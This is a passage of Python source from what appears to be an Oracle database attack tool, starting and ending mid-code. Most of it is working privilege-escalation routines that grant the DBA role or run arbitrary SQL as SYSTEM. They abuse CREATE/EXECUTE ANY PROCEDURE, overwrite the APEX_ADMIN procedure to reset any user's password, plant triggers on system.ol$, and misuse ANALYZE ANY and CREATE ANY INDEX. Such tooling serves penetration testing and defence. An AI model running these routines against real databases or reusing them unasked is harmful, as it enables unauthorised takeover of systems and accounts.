			logging.info("Impossible to revoke DBA role from {0}: {1}".format(user, self.cleanError(status)))
			return status
		else : 
			logging.debug("The DBA role has been revoked from {0}".format(user))
			return True

	def printPrivilegesAndRoles(self, deep=True):
		'''
		print privileges and roles of current user
		Return True or Exception
		'''
		
		def __printPrivsOfThisRole__(role, tabulation='', tabSize='\t'):
			'''
			system privileges granted to this role.
			'''
			REQ_GET_PRIVS_OF_THIS_ROLE = "SELECT DISTINCT privilege FROM role_sys_privs ORDER BY 1"
			results1 = self.__execQuery__(query=REQ_GET_PRIVS_OF_THIS_ROLE, ld=['privilege'])
			if isinstance(results1,Exception):
				logging.info("Impossible to get current privileges: {0}.".format(results1))
				return results1
			else:
				for aPriv in results1:
					if aPriv['privilege'] in EXPLOITABLE_SYSTEM_PRIVILEGES: print("{0}system privege: {1}\t <-- exploitable".format(tabulation, self.args['print'].getColoredString(aPriv['privilege'], 'green')))
					else: print("{0}system privege: {1}".format(tabulation, aPriv['privilege']))
			
		def __printRolesOfThisRole__(role, tabulation='', tabSize='\t'):
			'''
			Roles granted to this role
			'''
			REQ_GET_PRIVS_OF_THIS_ROLE = "SELECT DISTINCT granted_role FROM role_role_privs ORDER BY 1"
			results1 = self.__execQuery__(query=REQ_GET_PRIVS_OF_THIS_ROLE, ld=['granted_role'])
			if isinstance(results1,Exception):
				logging.info("Impossible to get current privileges: {0}.".format(results1))
				return results1
			else:
				for aRole in results1:
					print('{0}role: {1}'.format(tabulation, aRole['granted_role']))
		
		
		REQ_GET_CURRENT_PRIVS = "SELECT DISTINCT privilege FROM user_sys_privs order by 1"
		REQ_GET_CURRENT_ROLES = "SELECT DISTINCT granted_role FROM user_role_privs order by 1"
		results1 = self.__execQuery__(query=REQ_GET_CURRENT_PRIVS, ld=['privilege'])
		if isinstance(results1,Exception):
			logging.info("Impossible to get current privileges: {0}.".format(results1))
			return results1
		else:
			logging.info("Privileges of current Oracle user gotten: {0}".format(results1))
			results2 = self.__execQuery__(query=REQ_GET_CURRENT_ROLES, ld=['granted_role'])
			if isinstance(results2,Exception):
				logging.info("Impossible to get current privileges: {0}.".format(results2))
				return results2
			else:
				logging.info("Roles of current Oracle user gotten: {0}".format(results2))
				#print "System privileges granted the current user ({0}):".format(self.args['user'])
				for aPriv in results1:
					if aPriv['privilege'] in EXPLOITABLE_SYSTEM_PRIVILEGES: print("- system privege: {0}\t <-- exploitable".format(self.args['print'].getColoredString(aPriv['privilege'], 'green')))
					else: print("- system privege: {0}".format(aPriv['privilege']))
				if len(results2)==0:
					#print "Roles granted to the current user ({0}): Not one.".format(self.args['user'])
					pass
				else:
					#print "Roles granted to the current user ({0}):".format(self.args['user'])
					for aRole in results2:
						print("- role: {0}".format(aRole['granted_role']))
						if deep == True:
							logging.info("Searching system privileges and roles of this role {0}".format(aRole['granted_role']))
							__printPrivsOfThisRole__(role=aRole['granted_role'],tabulation='\t- ')
							__printRolesOfThisRole__(role=aRole['granted_role'],tabulation='\t- ')
				return True
		
		"""		
		def printPrivilegesAndRoles(self):
		'''
		print privileges and roles of current user
		Return True or Exception
		'''
		REQ_GET_CURRENT_PRIVS = "SELECT privilege FROM user_sys_privs order by 1"
		REQ_GET_CURRENT_ROLES = "SELECT granted_role FROM user_role_privs order by 1"
		REQ_GET_PRIV_OF_A_ROLE = "SELECT privilege FROM role_sys_privs WHERE role = '{0}' order by 1"
		results1 = self.__execQuery__(query=REQ_GET_CURRENT_PRIVS, ld=['privilege'])
		if isinstance(results1,Exception):
			logging.info("Impossible to get current privileges: {0}.".format(results1))
			return results1
		else:
			logging.info("Privileges of current Oracle user gotten: {0}".format(results1))
			results2 = self.__execQuery__(query=REQ_GET_CURRENT_ROLES, ld=['granted_role'])
			if isinstance(results2,Exception):
				logging.info("Impossible to get current privileges: {0}.".format(results2))
				return results2
			else:
				logging.info("Roles of current Oracle user gotten: {0}".format(results2))
				print "System privileges granted the current user ({0}):".format(self.args['user'])
				for aPriv in results1:
					print "- {0}".format(aPriv['privilege'])
					
				if len(results2)==0:
					print "Roles granted to the current user ({0}): Not one.".format(self.args['user'])
				else:
					print "Roles granted to the current user ({0}):".format(self.args['user'])
					for aRole in results2:
						print "- {0}".format(aRole['granted_role'])
						logging.info("Searching system privileges of this role {0}".format(aRole['granted_role']))
						results3 = self.__execQuery__(query=REQ_GET_PRIV_OF_A_ROLE.format(aRole['granted_role']), ld=['privilege'])
						if isinstance(results3,Exception):
							logging.info("Impossible to get privileges of role {1}: {0}.".format(results3), aRole['granted_role'])
							return results3
						else:
							logging.debug("System privileges of this role: {0}".format(results3))
							for aPrivFromRole in results3:
								print "  - {0}".format(aPrivFromRole['privilege'])
				return True
		"""

	####################################################################################################################
	#						Privilege escalation via CREATE/EXECUTE ANY PROCEDURE privileges
	#
	#	Create a stored procedure in system schema (CREATE ANY PROCEDURE) and execute it (EXECUTE ANY PROCEDURE).
	#	Methods implemented:
	#	- give to the current user the DBA role;
	#	- execute a request as sys.
	####################################################################################################################	
	def executeRequestWithExecuteAnyProcedureMethod (self, privRequest=None):
		'''
		Create a stored procedure in system schema (CREATE ANY PROCEDURE) and execute it (EXECUTE ANY PROCEDURE).
		Returns True if no error. Otherwise returns Exception
		'''
		self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE = "system.odatstoredproc"
		self.CREATE_STORED_PROCEDURE_FOR_CREATE_EXECUTE_ANY_PROCEDURE="CREATE OR REPLACE PROCEDURE {0} IS BEGIN EXECUTE IMMEDIATE '{1}'; END;" #{0}:procedure name {1}:Request to execute
		self.EXECUTE_STORED_PROCEDURE="BEGIN {0}; END;"#{0}:procedure name
			
		logging.info("Trying to create the stored procedure {1} for executing the request '{0}'".format(repr(privRequest), self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE))
		status = self.__execPLSQL__(self.CREATE_STORED_PROCEDURE_FOR_CREATE_EXECUTE_ANY_PROCEDURE.format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE, privRequest))
		if isinstance(status, Exception):
			logging.info("Impossible to create the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE, self.cleanError(status)))
			return status
		else : 
			logging.debug("Stored procedure {0} created".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE))
			logging.info("Trying to execute the stored procedure '{0}'".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE))
			status = self.__execPLSQL__(self.EXECUTE_STORED_PROCEDURE.format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE))
			if isinstance(status, Exception):
				logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE, self.cleanError(status)))
				self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)
				return status
			else : 
				logging.debug("Stored procedure named '{0}' executed".format(self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE))
				self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_EXECUTE_ANY_PROCEDURE)
				return True
	
	def giveDbaRoleWithExecuteAnyProcedureMethod(self, user=None):
		'''
		Try to give the dba role to user
		If user = None, user = current user
		Returns:
		- True if the dba role has been given to user
		- False if the dba role has NOT been given to user (error)
		- None if the user has dba role already
		'''
		if user == None : user = self.args['user']
		logging.info("Trying to give the DBA role to {0} using CREATE/EXECUTE ANY PROCEDURE method".format(user))
		isDBA = self.hasThisRole('DBA',user)
		if isDBA == True:
			logging.info("The {0} has already the DBA role. Nothing to do!".format(user))
			return None
		elif isDBA == None:
			logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user))
			return False
		else:
			status = self.executeRequestWithExecuteAnyProcedureMethod(privRequest=self.GRANT_DBA_TO_USER.format(user))
			if isinstance(status, Exception):
				logging.debug("DBA role has not been given to {0}".format(user))
				return status
			else:
				logging.debug("DBA role has been given to {0}".format(user))
				return True
			
	####################################################################################################################
	#						Privilege escalation via CREATE ANY PROCEDURE privilege only
	#
	#	Modify a stored procedure (execute privilege is granted to PUBLIC to this procedure) and execute privileged request
	#	Methods implemented:
	#	- set password of arbitrary oracle user with APEX_ADMIN procedure owned by APEX_040200
	#	- execute a request as APEX_040200.
	####################################################################################################################
	
	def executeSytemRequestWithCreateAnyProcedureMethod (self, privRequest=None):
		'''
		When a database user has the "Execute Any Procedure" privilege, he can execute arbitrary privileged SQL requests.
		returns True if ok. Returns Exception if error.
		'''
		self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "APEX_ADMIN"
		self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "APEX_040200"
		#self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "SI_CONVERTFORMAT"
		#self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "ORDSYS"
		self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC="BEGIN {0}; END;"#{0}:procedure complete name
		self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC = "{0}.{1}".format(self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC, self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC)
		self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE="CREATE OR REPLACE PROCEDURE {0} IS BEGIN EXECUTE IMMEDIATE '{1}'; END;" #{0}:procedure name {1}:Request to execute
		
		def __getStoredProcedureWithoutFirstLine__():
			'''
			Copy the stored procedure WITHOUT the first line
			Returns string if no error. 
			Returns Exception if error
			'''

			self.GET_CODE_STORED_PROCEDURE="SELECT text FROM all_source WHERE name='{0}' AND owner='{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC)
			code =""
			numLine = 0
			logging.info("Trying to get source code of the stored procedure named {0} ".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC))
			response = self.__execThisQuery__(self.GET_CODE_STORED_PROCEDURE, ld=['TEXT'])
			if isinstance(response, Exception):
				logging.info("Impossible to get the source code of the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.cleanError(response)))
				return response
			else:
				for line in response:
					if numLine > 0:
						code += line['TEXT']
					numLine += 1
				logging.debug('Souce code of {0}: {1}'.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, repr(code)))
				return code
				
		def __restoreStoredProcedure__(storedProcCompleteName, oldSourceCode):
			'''
			Restore the stored procedure with oldSourceCode
			Returns string if no error. 
			Returns Exception if error
			'''
			REQUEST = "CREATE OR REPLACE PROCEDURE {0}\n{1}".format(storedProcCompleteName, oldSourceCode)
			logging.debug('The following request will be executed to restore the stored procedure {0}: {1}'.format(storedProcCompleteName, repr(REQUEST)))
			status = self.__execPLSQL__(REQUEST)
			if isinstance(status, Exception):
				logging.info("Impossible to restore the stored procedure named '{0}': {1}".format(storedProcCompleteName, self.cleanError(status)))
				return status
			else:
				logging.info("The stored procedure named '{0}' has been restored".format(storedProcCompleteName))
				return True
		
		logging.info("Trying to modify the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest))
		initalSrcCode = __getStoredProcedureWithoutFirstLine__()
		if isinstance(initalSrcCode, Exception) :
			logging.info('Impossible to get the source code, cancelling attack....')
			return initalSrcCode
		elif initalSrcCode=='':
			msgerror = "The source code of {0} is empty!".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC)
			logging.info(msgerror)
			return ErrorSQLRequest(msgerror)
		else:
			logging.info("Modifing the stored procedure...")
			status = self.__execPLSQL__(self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest))
			if isinstance(status, Exception):
				logging.info("Impossible to modify the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status)))
				return status
			else : 
				logging.debug("Stored procedure {0} modified".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
				logging.info("Trying to execute the stored procedure '{0}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
				status = self.__execPLSQL__(self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
				if isinstance(status, Exception):
					logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status)))
					__restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode)
					return status
				else : 
					logging.debug("Stored procedure named '{0}' executed".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
					__restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode)
					return True
			
		
	def setPasswordWithCreateAnyProcedureMethod(self, user, password):
		'''
		Set the password of an Oralce arbitrary user
		Returns:
		- True if ok
		- Exception if the dba role has NOT been given to user (error)
		'''
		self.ALTER_USER_PASSWORD_FOR_CREATE_ANY_PROCEDURE = "ALTER USER {0} IDENTIFIED BY {1}"#{0} user, {1} password
		logging.info("Trying to set the password of {0} with '{1}' using CREATE ANY PROCEDURE method only".format(user, password))
		isDBA = self.hasThisRole('DBA',user)
		if isDBA == True:
			logging.info("The {0} has already the DBA role. Nothing to do normally!".format(user))
		elif isDBA == None:
			logging.info("Impossible to know if {0} is DBA.".format(user))
		else:
			status = self.executeSytemRequestWithCreateAnyProcedureMethod(privRequest=self.ALTER_USER_PASSWORD_FOR_CREATE_ANY_PROCEDURE.format(user, password))
			if isinstance(status, Exception):
				logging.debug("The password of {0} has not been replaced by '{1}': {2}".format(user, password, status))
				return status
			else:
				logging.debug("The password of {0} has been replaced by '{1}'".format(user, password))
				return True
				
	####################################################################################################################
	#						Privilege escalation via CREATE ANY TRIGGER privilege
	#
	#	Create a stored procedure. It has to be executing with CURRENT_USER rights
	#	Create a trigger to run the stored procedure with SYS's rights.
	#	Methods implemented:
	#	- give to the current user the DBA role;
	#	- execute a request as sys
	####################################################################################################################	
	def executeSytemRequestWithCreateAnyTriggerMethod(self, privRequest):
		'''
		Try to execute the privRequest request as System with the CREATE ANY TRIGGER method
		If user = None, user = current user
		Returns:
		- True if the request has been executed
		- Exception if error
		'''
		self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER = "get_dba_create_any_trigger"
		self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE PROCEDURE {0} authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}';END;" #{0} procedure name, {1} Request to execute
		self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER = "ol$"
		self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER = "system"
		self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER = '{0}.{1}'.format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TABLE_NAME_FOR_CREATE_ANY_TRIGGER)
		self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "ol$insert_trg"
		self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER = "{0}.{1}".format(self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER)
		self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER = "grant execute on {0} TO {1}"#{0}procedure name, {1} user
		self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER = "CREATE OR REPLACE TRIGGER {0} before insert on {1} for each row begin {2}.{3};end;"#{0} Comple Trigger name, {1} complete table name, {2} Oracle user not privileged (PROC), {3} Procedure name
		self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER = "INSERT INTO {0}(CATEGORY) values ('{1}')".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, generateRandomString(length=20))
		user = self.args['user']
		logging.info("Trying to create the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, repr(privRequest)))
		status = self.__execPLSQL__(self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, privRequest))
		if isinstance(status, Exception):
			logging.info("Impossible to create the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
			return status
		else : 
			logging.debug("The stored procedure {0} has been created".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER))
			logging.info("Trying to grant execute privilege on {0} to {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
			status = self.__execPLSQL__(self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
			if isinstance(status, Exception):
				logging.info("Impossible to grant execute privilege on {0} to {1}: {2}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
				self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
				return status
			else : 
				logging.debug("Execute privilege on {0} to {1} has been granted".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER))
				logging.info("Trying to create the trigger {0}'".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
				status = self.__execPLSQL__(self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER.format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER,
																								self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER,
																								user,
																								self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER))
				if isinstance(status, Exception):
					logging.info("Impossible to create the trigger {0}: {1}".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
					self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
					return status
				else: 
					logging.debug("The trigger {0} has been created".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
					logging.info("Inserting a value in {0} to start the trigger {1}'".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER))
					status = self.__execPLSQL__(self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER)
					if isinstance(status, Exception):
						logging.info("Impossible to insert data into {0}: {1}".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status)))
						self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)
						self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
						return status
					else: 
						logging.debug('The trigger has been started. The user {0} is DBA now!'.format(user))
						self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)
						self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)
						return True
	
	def giveDbaRoleWithCreateAnyTriggerMethod (self, user=None):
		'''
		Try to give the dba role to user
		If user = None, user = current user
		Returns:
		- True if the dba role has been given to user
		- False if the dba role has NOT been given to user (error)
		- None if the user has dba role already
		'''
		
		if user == None : user = self.args['user']
		logging.info("Trying to give the DBA role to {0} using CREATE ANY TRIGGER method".format(user))
		isDBA = self.hasThisRole('DBA',user)
		if isDBA == True:
			logging.info("The {0} has already the DBA role. Nothing to do!".format(user))
			return None
		elif isDBA == None:
			logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user))
			return False
		else:
			privRequest = self.GRANT_DBA_TO_USER.format(user)
			logging.info("Trying to give dba role to current user with {0}".format(repr(privRequest)))
			status = self.executeSytemRequestWithCreateAnyTriggerMethod(privRequest=privRequest)
			if status == True:
				logging.info('The DBA role has been granted to {0}'.format(user))
				return True
			else:
				logging.info('The DBA role has NOT been granted to {0}'.format(user))
				return False
			

	####################################################################################################################
	#						Privilege escalation via ANALYZE ANY privilege
	#
	#	Methods implemented:
	#	- give to the current user the DBA role;
	#	- execute a request as sys
	####################################################################################################################
	def executeSytemRequestWithAnalyzeAnyMethod(self, privRequest):
		'''
		Try to execute the privRequest request as System with the ANALYZE ANY method
		If user = None, user = current user
		Returns:
		- True if the request has been executed
		- Exception or False if error
		'''
		
		def __dropAnalyze__(user,procedureName):
			'''
			Return Exception if error, otherwise return True
			'''
			REQ_DROP_EXTENDED_STATS = "BEGIN DBMS_STATS.DROP_EXTENDED_STATS ('SYSTEM',  'HELP', '({0}.{1}(INFO))'); END;" #{0} user, {1} procedure name
			logging.info("Trying to drop the extended stats created")
			status = self.__execPLSQL__(REQ_DROP_EXTENDED_STATS.format(user, procedureName))
			if isinstance(status, Exception):
				logging.info("Impossible to drop extended stats: {0}".format(self.cleanError(status)))
				return status
			else : 
				logging.debug("Extended stats dropped")
				return True
		
		self.FUNCTION_NAME_FOR_ANALYZE_ANY = "get_dba_analyse_any"
		self.CREATE_FUNCTION_FOR_ANALYZE_ANY = "CREATE OR REPLACE FUNCTION {0}(value varchar2) return varchar2 deterministic authid current_user is pragma autonomous_transaction; begin execute immediate '{1}';return 'FALSE';END {0};"#{0} procedure name, {1} Request to execute 
		self.RUN_ANALYZE_FOR_ANALYZE_ANY = "BEGIN dbms_stats.gather_table_stats(ownname => 'SYSTEM', tabname => 'HELP', method_opt => 'for columns ({0}.{1}(INFO)) size auto'); END;"#{0} user, {1} function name to execute
		user = self.args['user']
		logging.info("Trying to create the stored procedure {0} for executing the request '{1}' as SYSTEM with CREATE ANY INDEX method".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY, repr(privRequest)))
		status = self.__execPLSQL__(self.CREATE_FUNCTION_FOR_ANALYZE_ANY.format(self.FUNCTION_NAME_FOR_ANALYZE_ANY, privRequest))
		if isinstance(status, Exception):
			logging.info("Impossible to create the stored function named '{0}': {1}".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY, self.cleanError(status)))
			return status
		else : 
			logging.debug("The stored procedure {0} has been created".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY))
			__dropAnalyze__(user=user, procedureName=self.FUNCTION_NAME_FOR_ANALYZE_ANY)
			logging.info("Grant execute privilege on {0} to system".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY))
			status = self.grantPrivilegeOnObjectToUser('execute', self.FUNCTION_NAME_FOR_ANALYZE_ANY, 'system')
			if isinstance(status, Exception):
				self.dropStoredFunction(self.FUNCTION_NAME_FOR_ANALYZE_ANY, 'system')
				return status
			else:
				logging.debug('Execute privilege has been granted on the stored function to system')
				logging.info("Trying to start the analyze for executing the request {0} as SYSTEM".format(repr(privRequest)))
				status = self.__execPLSQL__(self.RUN_ANALYZE_FOR_ANALYZE_ANY.format(user, self.FUNCTION_NAME_FOR_ANALYZE_ANY))
				if isinstance(status, Exception):
					logging.info("Impossible to run the analyze: {0}".format(self.cleanError(status)))
					self.dropStoredFunction(self.FUNCTION_NAME_FOR_ANALYZE_ANY, user)
					return status
				else : 
					logging.info("Analyse finished. The following request has been executed with SYSTEM privileges: {0}".format(repr(privRequest)))
					__dropAnalyze__(user=user, procedureName=self.FUNCTION_NAME_FOR_ANALYZE_ANY)
					self.dropStoredFunction(self.FUNCTION_NAME_FOR_ANALYZE_ANY)
					return True
	
	
	def giveDbaRoleWithAnalyzeAnyMethod (self):
		'''
		Try to give the dba role to user
		If user = None, user = current user
		Returns:
		- True if the dba role has been given to user
		- False if the dba role has NOT been given to user (error)
		- None if the user has dba role already
		'''
		user = self.args['user']
		logging.info('Trying to grant DBA role to {0} using ANALYZE ANY method'.format(user))
		isDBA = self.hasThisRole('DBA',user)
		if isDBA == True:
			logging.info("The {0} has already the DBA role. Nothing to do!".format(user))
			return None
		elif isDBA == None:
			logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user))
			return False
		else:
			logging.info("The {0} is not DBA. Continue...".format(user))
			grantDBArequest = self.GRANT_DBA_TO_USER.format(user)
			status = self.executeSytemRequestWithAnalyzeAnyMethod(privRequest=grantDBArequest)
			if status == True:
				logging.info('The DBA role has been granted to {0}'.format(user))
				return True
			else:
				logging.info('The DBA role has NOT been granted to {0}'.format(user))
				return False
			
	####################################################################################################################
	#						Privilege escalation via CREATE ANY INDEX privilege
	#
	#	Methods implemented:
	#	- give to the current user the DBA role;
	#	- execute a request as sys
	####################################################################################################################
	def executeSytemRequestWithCreateAnyIndexMethod(self, privRequest):
		'''
		Try to execute the privRequest request as System with the CREATE ANY INDEX method
		If user = None, user = current user
		Returns:
		- True if the request has been executed without error
		- Exception if error
		'''
		self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index"
		self.INDEX_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index"
		self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX = "CREATE OR REPLACE FUNCTION {0}(val varchar2) return varchar2 deterministic authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}'; return 'TRUE';END;"#{0} procedure name, {1} Request to execute 
		self.CREATE_INDEX_FOR_CREATE_ANY_INDEX = "CREATE INDEX system.{0} ON system.ol$({1}.{2}(VERSION))"#{0} index name stored in system schema, {1} user, {2} function name to execute
		self.INSERT_INTO_FOR_CREATE_ANY_INDEX = "INSERT INTO system.ol$(version) VALUES ('{0}')".format(generateRandomString(12))
		user = self.args['user']
		logging.info("Trying to drop an old index on the table system.ol$")
		self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
		logging.info("Trying to create the stored procedure {0} for executing the request '{1}' as SYSTEM with CREATE ANY INDEX method".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, repr(privRequest)))
		status = self.__execPLSQL__(self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX.format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, privRequest))
		if isinstance(status, Exception):
			logging.info("Impossible to create the stored function named '{0}': {1}".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status)))
			return status
		else : 
			logging.debug("The stored procedure {0} has been created".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
			logging.info("Grant execute privilege on {0} to system".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
			status = self.grantPrivilegeOnObjectToUser('execute', self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system')
			if isinstance(status, Exception):
				self.dropStoredFunction(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system')
				return status
			else:
				logging.debug('Execute privilege has been granted on the stored function to system')
				logging.info("Trying to create the index on system.ol$")
				status = self.__execPLSQL__(self.CREATE_INDEX_FOR_CREATE_ANY_INDEX.format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, user, self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX))
				if isinstance(status, Exception):
					logging.info("Impossible to create the index {0}: {1}".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status)))
					self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
					return status
				else : 
					logging.debug("{0} index has been created in system schema".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX))
					logging.info("Trying to insert into system.ol$ for executing the request {0} as SYSTEM".format(repr(privRequest)))
					status = self.__execPLSQL__(self.INSERT_INTO_FOR_CREATE_ANY_INDEX)
					if isinstance(status, Exception):
						logging.info("Impossible to insert into system.ol$: {0}".format(self.cleanError(status)))
						self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
						self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
						return status
					else : 
						self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
						self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system')
						logging.info("Insertion done. The following request has been executed with SYSTEM privileges: {0}".format(repr(privRequest)))
						return True
				
			

	def giveDbaRoleWithCreateAnyIndexMethod (self):
		'''
		Try to give the dba role to user
		If user = None, user = current user
		Returns:
		- True if the dba role has been given to user
		- False if the dba role has NOT been given to user (error)
		- None if the user has dba role already
		'''
		user = self.args['user']
		logging.info('Trying to grant DBA role to {0} using CREATE ANY INDEX method'.format(user))
		isDBA = self.hasThisRole('DBA',user)
		if isDBA == True:
			logging.info("The {0} has already the DBA role. Nothing to do!".format(user))
			return None
		elif isDBA == None:
			logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user))
			return False
		else:
			logging.info("The {0} is not DBA. Continue...".format(user))
